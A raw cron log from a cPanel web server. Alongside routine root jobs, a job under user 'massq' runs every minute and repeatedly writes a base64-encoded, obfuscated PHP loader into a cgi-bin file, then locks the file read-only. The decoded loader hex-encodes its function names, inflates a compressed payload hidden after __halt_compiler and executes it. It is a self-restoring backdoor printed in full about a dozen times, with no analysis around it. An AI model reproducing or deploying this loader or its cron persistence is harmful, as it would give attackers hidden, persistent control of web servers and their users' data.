Nov 14 16:43:01 server CROND[21541]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:44:01 server CROND[22240]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:45:01 server CROND[23006]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:45:01 server CROND[23008]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 16:45:01 server CROND[23009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:46:01 server CROND[23806]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:47:01 server CROND[24002]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:48:01 server CROND[24638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:49:01 server CROND[25497]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:50:01 server CROND[26273]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 16:50:01 server CROND[26278]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 16:50:01 server CROND[26276]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:50:01 server CROND[26277]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 16:50:01 server CROND[26280]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:51:01 server CROND[27107]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:52:01 server CROND[27850]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:53:01 server CROND[27997]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:54:01 server CROND[28812]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:55:01 server CROND[29665]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 16:55:01 server CROND[29666]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 16:55:01 server CROND[29667]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
